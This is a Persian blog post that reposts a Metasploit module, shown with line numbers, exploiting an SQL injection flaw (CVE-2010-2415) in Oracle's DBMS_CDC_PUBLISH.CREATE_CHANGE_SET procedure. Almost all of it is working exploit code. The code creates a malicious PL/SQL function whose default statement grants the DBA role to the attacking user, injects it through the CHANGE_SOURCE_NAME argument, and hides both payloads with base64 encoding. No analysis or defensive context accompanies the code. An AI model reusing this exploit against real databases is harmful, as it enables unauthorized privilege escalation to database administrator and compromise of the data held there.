۱۳۸۹ مهر ۲۷, سه‌شنبه

##
2
# $Id: dbms_cdc_publish3.rb 10691 2010-10-15 00:20:04Z mc $
3
##
4
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# Framework web site for more information on licensing and terms of use.
9
# http://metasploit.com/projects/Framework/
10
##
11
12
require 'msf/core'
13
14
class Metasploit3 < Msf::Auxiliary
15
16
        include Msf::Exploit::ORACLE
17
18
        def initialize(info = {})
19
                super(update_info(info,
20
                        'Name'           => 'SQL Injection via SYS.DBMS_CDC_PUBLISH.CREATE_CHANGE_SET',
21
                        'Description'    => %q{
22
                                        The module exploits an sql injection flaw in the CREATE_CHANGE_SET
23
                                procedure of the PL/SQL package DBMS_CDC_PUBLISH. Any user with execute privilege
24
                                on the vulnerable package can exploit this vulnerability. By default, users granted
25
                                EXECUTE_CATALOG_ROLE have the required privilege.
26
                        },
27
                        'Author'         => [ 'MC' ],
28
                        'License'        => MSF_LICENSE,
29
                        'Version'        => '$Revision: 10691 $',
30
                        'References'     =>
31
                                [
32
                                        [ 'CVE', '2010-2415' ],
33
                                        [ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpuoct2010-175626.html' ],
34
                                ],
35
                        'DisclosureDate' => 'Oct 13 2010'))
36
37
                register_options(
38
                        [
39
                                OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]),
40
                        ], self.class)
41
        end
42
43
        def run
44
45
                return if not check_dependencies
46
47
                name  = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
48
                var1  = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
49
                var2  = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
50
51
                function = "
52
CREATE OR REPLACE FUNCTION #{name}
53
RETURN VARCHAR2 AUTHID CURRENT_USER
54
IS
55
PRAGMA AUTONOMOUS_TRANSACTION;
56
BEGIN
57
EXECUTE IMMEDIATE '#{datastore['SQL']}';
58
COMMIT;
59
RETURN NULL;
60
END;
61
                "
62
63
                #PROCEDURE CREATE_CHANGE_SET
64
                # Argument Name                        Type                        In/Out Default?
65
                # ------------------------------ ----------------------- ------ --------
66
                # CHANGE_SET_NAME                VARCHAR2                IN
67
                # DESCRIPTION                        VARCHAR2                IN     DEFAULT
68
                # CHANGE_SOURCE_NAME                VARCHAR2                IN                <-boom ;)
69
                # STOP_ON_DDL                        CHAR                        IN     DEFAULT
70
                # BEGIN_DATE                        DATE                        IN     DEFAULT
71
                # END_DATE                        DATE                        IN     DEFAULT
72
73
                package = "
74
BEGIN
75
SYS.DBMS_CDC_PUBLISH.CREATE_CHANGE_SET('#{name}','#{name}','''||'||user||'.#{name}||''');
76
END;
77
                "
78
79
                uno  = Rex::Text.encode_base64(function)
80
                dos  = Rex::Text.encode_base64(package)
81
82
                encoded_sql = %Q|
83
DECLARE
84
#{var1} VARCHAR2(32767);
85
#{var2} VARCHAR2(32767);
86
BEGIN
87
#{var1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{uno}')));
88
EXECUTE IMMEDIATE #{var1};
89
#{var2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{dos}')));
90
EXECUTE IMMEDIATE #{var2};
91
END;
92
                |
93
94
                print_status("Attempting sql injection on SYS.DBMS_CDC_PUBLISH.CREATE_CHANGE_SET...")
95
                prepare_exec(encoded_sql)
96
                print_status("Done...")
97
98
        end
99
100
end
ارسال شده توسط در

هیچ نظری موجود نیست:

ارسال یک نظر

اشتراک در: نظرات پیام (Atom)